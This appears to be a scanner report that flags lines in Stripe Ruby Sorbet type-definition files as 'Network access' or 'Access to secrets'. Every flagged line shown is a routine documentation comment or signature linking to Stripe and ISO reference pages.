sig { returns(T.nilable(String)) } def statement_descriptor_prefix_kana; end # The Kanji variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](h - Network accessline 914
def statement_descriptor_prefix_kana; end # The Kanji variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/ - Network accessline 915
# The Kanji variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descr - Network accessline 1097
sig { returns(T.nilable(Integer)) } def created; end # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://stripe.com/docs - Network accessline 1098
def created; end # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://stripe.com/docs/payouts). sig { returns(T.nilable(S - Network accessline 1099
# Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://stripe.com/docs/payouts). - Network accessline 1125
sig { returns(T.nilable(::Stripe::Person)) } def individual; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the obje - Network accessline 1126
def individual; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.ni - Network accessline 1127
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1149
sig { returns(T.nilable(T::Boolean)) } def deleted; end # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users. - Network accessline 1150
def deleted; end # With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users. # To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/se - Network accessline 1151
# With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users. - Network accessline 1152
# To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/settings). - Network accessline 1153
# # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when # creating the account. Connect Onboarding won't ask fo - Network accessline 1154
# If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when - Network accessline 1162
# With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage. - Network accessline 1164
# Test-mode accounts can be deleted at any time. # # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe - Network accessline 1165
# # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc - Network accessline 1166
# Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht - Network accessline 1167
# # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. sig { - Network accessline 1168
# If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. - Network accessline 1174
# With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage. - Network accessline 1176
# Test-mode accounts can be deleted at any time. # # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe - Network accessline 1177
# # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc - Network accessline 1178
# Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht - Network accessline 1179
# # If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. sig { - Network accessline 1180
# If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. - Network accessline 1186
# Returns a list of accounts connected to your platform via [Connect](https://docs.stripe.com/docs/connect). If you're not a platform, the list is empty. - Network accessline 1204
# With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious. - Network accessline 1212
# With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious. - Network accessline 1220
# Updates a [connected account](https://docs.stripe.com/connect/accounts) by setting the values of the parameters passed. Any parameters not provided are - Network accessline 1221
# left unchanged. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 1222
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is application, which includes Custom accounts, you can update any informatio - Network accessline 1223
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 1224
# is application, which includes Custom accounts, you can update any information on the account. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requir - Network accessline 1225
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is stripe, which includes Standard and Express accounts, you can update all i - Network accessline 1226
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 1227
# is stripe, which includes Standard and Express accounts, you can update all information until you create # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connec - Network accessline 1228
# an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connect onboarding, - Network accessline 1229
# after which some properties can no longer be updated. # # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our - Network accessline 1230
# # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts - Network accessline 1231
# To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our - Network accessline 1232
# [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/account_link.rbi
- Network accessline 7
# Stripe-hosted applications, such as Connect Onboarding. # # Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding) - Network accessline 8
# # Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding) class AccountLink < APIResource - Network accessline 9
# Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/account_session.rbi
- Network accessline 10
# quickly, and cannot be used more than once. # # Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components) - Network accessline 11
# # Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components) class AccountSession < APIResource - Network accessline 12
# Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components) - Network accessline 666
# The client secret can be used to provide access to `account` from your frontend. It should not be stored, logged, or exposed to anyone other than the connected account. Make sure that you have TLS enabled on any page that includes the cli - Network accessline 667
# # Refer to our docs to [setup Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components) and learn about how `client_secret` should be handled. sig { returns(String) } - Network accessline 668
[Credential-related source omitted] - Access to secretsline 668
[Credential-related source omitted] - Access to secretsline 670
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/application_fee.rbi
- Network accessline 43
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 44
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 45
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/application_fee_refund.rbi
- Network accessline 8
# the Stripe account from which the fee was originally collected. # # Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee) - Network accessline 9
# # Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee) class ApplicationFeeRefund < APIResource - Network accessline 10
# Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee) - Network accessline 19
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 20
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 21
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 28
sig { returns(String) } def id; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 29
def id; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nilable(T: - Network accessline 30
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/apps/secret.rbi
- Network accessline 13
# A `user` scoped secret is accessible by the app backend and one specific Dashboard user. Use the `user` scope for per-user secrets like per-user OAuth tokens, where different users might have different permissions. # # Related gui - Network accessline 14
# # Related guide: [Store data between page reloads](https://docs.stripe.com/stripe-apps/store-auth-data-custom-objects) class Secret < APIResource - Network accessline 15
# Related guide: [Store data between page reloads](https://docs.stripe.com/stripe-apps/store-auth-data-custom-objects)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/balance.rbi
- Network accessline 9
# The top-level `available` and `pending` comprise your "payments balance." # # Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/c - Network accessline 10
# # Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/connect/account-balances) class Balance < SingletonAPIResource - Network accessline 11
# Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/connect/account-balances) - Network accessline 13
class Available < ::Stripe::StripeObject class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 14
class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). sig { returns(T.nilable(Integer)) } - Network accessline 15
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 16
sig { returns(T.nilable(Integer)) } def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 17
def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). sig { returns(T.nilable(Integer)) } - Network accessline 18
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 19
sig { returns(T.nilable(Integer)) } def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 20
def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. sig { returns(T.nilable(Integer)) } - Network accessline 21
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 32
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 33
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 34
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 47
class ConnectReserved < ::Stripe::StripeObject class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 48
class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). sig { returns(T.nilable(Integer)) } - Network accessline 49
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 50
sig { returns(T.nilable(Integer)) } def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 51
def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). sig { returns(T.nilable(Integer)) } - Network accessline 52
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 53
sig { returns(T.nilable(Integer)) } def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 54
def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. sig { returns(T.nilable(Integer)) } - Network accessline 55
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 66
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 67
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 68
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 82
class NetAvailable < ::Stripe::StripeObject class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 83
class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). sig { returns(T.nilable(Integer)) } - Network accessline 84
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 85
sig { returns(T.nilable(Integer)) } def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 86
def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). sig { returns(T.nilable(Integer)) } - Network accessline 87
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 88
sig { returns(T.nilable(Integer)) } def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 89
def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. sig { returns(T.nilable(Integer)) } - Network accessline 90
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 115
end class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 116
class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). sig { returns(T.nilable(Integer)) } - Network accessline 117
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 118
sig { returns(T.nilable(Integer)) } def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 119
def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). sig { returns(T.nilable(Integer)) } - Network accessline 120
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 121
sig { returns(T.nilable(Integer)) } def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 122
def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. sig { returns(T.nilable(Integer)) } - Network accessline 123
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 134
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 135
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 136
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 153
class Available < ::Stripe::StripeObject class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 154
class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). sig { returns(T.nilable(Integer)) } - Network accessline 155
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 156
sig { returns(T.nilable(Integer)) } def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 157
def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). sig { returns(T.nilable(Integer)) } - Network accessline 158
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 159
sig { returns(T.nilable(Integer)) } def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 160
def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. sig { returns(T.nilable(Integer)) } - Network accessline 161
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 172
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 173
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 174
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 197
class Pending < ::Stripe::StripeObject class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 198
class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). sig { returns(T.nilable(Integer)) } - Network accessline 199
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 200
sig { returns(T.nilable(Integer)) } def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 201
def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). sig { returns(T.nilable(Integer)) } - Network accessline 202
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 203
sig { returns(T.nilable(Integer)) } def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 204
def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. sig { returns(T.nilable(Integer)) } - Network accessline 205
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 216
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 217
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 218
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 232
class Available < ::Stripe::StripeObject class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 233
class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). sig { returns(T.nilable(Integer)) } - Network accessline 234
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 235
sig { returns(T.nilable(Integer)) } def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 236
def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). sig { returns(T.nilable(Integer)) } - Network accessline 237
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 238
sig { returns(T.nilable(Integer)) } def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 239
def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. sig { returns(T.nilable(Integer)) } - Network accessline 240
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 251
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 252
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 253
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 266
class Pending < ::Stripe::StripeObject class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 267
class SourceTypes < ::Stripe::StripeObject # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). sig { returns(T.nilable(Integer)) } - Network accessline 268
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 269
sig { returns(T.nilable(Integer)) } def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 270
def bank_account; end # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). sig { returns(T.nilable(Integer)) } - Network accessline 271
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 272
sig { returns(T.nilable(Integer)) } def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 273
def card; end # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. sig { returns(T.nilable(Integer)) } - Network accessline 274
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 285
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 286
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 287
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 311
end end # Available funds that you can transfer or pay out automatically by Stripe or explicitly through the [Transfers API](https://api.stripe.com#transfers) or [Payouts API](https://api.stripe.com#payouts). You can find the availa - Network accessline 312
end # Available funds that you can transfer or pay out automatically by Stripe or explicitly through the [Transfers API](https://api.stripe.com#transfers) or [Payouts API](https://api.stripe.com#payouts). You can find the available bala - Network accessline 313
# Available funds that you can transfer or pay out automatically by Stripe or explicitly through the [Transfers API](https://api.stripe.com#transfers) or [Payouts API](https://api.stripe.com#payouts). You can find the available balance for
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/balance_settings.rbi
- Network accessline 28
sig { returns(T.nilable(T::Hash[String, Integer])) } def minimum_balance_by_currency; end # Details on when funds from charges are available, and when they are paid out to an external account. See our [Setting Bank and Debit - Network accessline 29
def minimum_balance_by_currency; end # Details on when funds from charges are available, and when they are paid out to an external account. See our [Setting Bank and Debit Card Payouts](https://docs.stripe.com/connect/bank-transfers - Network accessline 30
# Details on when funds from charges are available, and when they are paid out to an external account. See our [Setting Bank and Debit Card Payouts](https://docs.stripe.com/connect/bank-transfers#payout-information) documentation for detail
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/balance_transaction.rbi
- Network accessline 7
# Stripe creates them for every type of transaction that enters or leaves your Stripe account balance. # # Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types) - Network accessline 8
# # Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types) class BalanceTransaction < APIResource - Network accessline 9
# Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types) - Network accessline 16
sig { returns(T.nilable(String)) } def application; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 17
def application; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 18
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 44
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 45
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 46
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 68
sig { returns(String) } def object; end # Learn more about how [reporting categories](https://stripe.com/docs/reports/reporting-categories) can help you understand balance transactions from an accounting perspective. - Network accessline 69
def object; end # Learn more about how [reporting categories](https://stripe.com/docs/reports/reporting-categories) can help you understand balance transactions from an accounting perspective. sig { returns(String) } - Network accessline 70
# Learn more about how [reporting categories](https://stripe.com/docs/reports/reporting-categories) can help you understand balance transactions from an accounting perspective. - Network accessline 79
sig { returns(String) } def status; end # Transaction type: `adjustment`, `advance`, `advance_funding`, `anticipation_repayment`, `application_fee`, `application_fee_refund`, `charge`, `climate_order_purchase`, `climate_order_refund - Network accessline 80
def status; end # Transaction type: `adjustment`, `advance`, `advance_funding`, `anticipation_repayment`, `application_fee`, `application_fee_refund`, `charge`, `climate_order_purchase`, `climate_order_refund`, `connect_collection_trans - Network accessline 81
# Transaction type: `adjustment`, `advance`, `advance_funding`, `anticipation_repayment`, `application_fee`, `application_fee_refund`, `charge`, `climate_order_purchase`, `climate_order_refund`, `connect_collection_transfer`, `contribution`
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/bank_account.rbi
- Network accessline 6
# These bank accounts are payment methods on `Customer` objects. # # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer - Network accessline 7
# # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer # destinations on `Account` objects for connected accounts. - Network accessline 8
# On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer - Network accessline 10
# They can be bank accounts or debit cards as well, and are documented in the links above. # # Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers) - Network accessline 11
# # Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers) class BankAccount < APIResource - Network accessline 12
# Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers) - Network accessline 107
sig { returns(String) } def country; end # Three-letter [ISO code for the currency](https://stripe.com/docs/payouts) paid out to the bank account. - Network accessline 108
def country; end # Three-letter [ISO code for the currency](https://stripe.com/docs/payouts) paid out to the bank account. sig { returns(String) } - Network accessline 109
# Three-letter [ISO code for the currency](https://stripe.com/docs/payouts) paid out to the bank account. - Network accessline 119
sig { returns(T.nilable(String)) } def fingerprint; end # Information about the [upcoming new requirements for the bank account](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs - Network accessline 120
def fingerprint; end # Information about the [upcoming new requirements for the bank account](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when. sig { - Network accessline 121
# Information about the [upcoming new requirements for the bank account](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when. - Network accessline 128
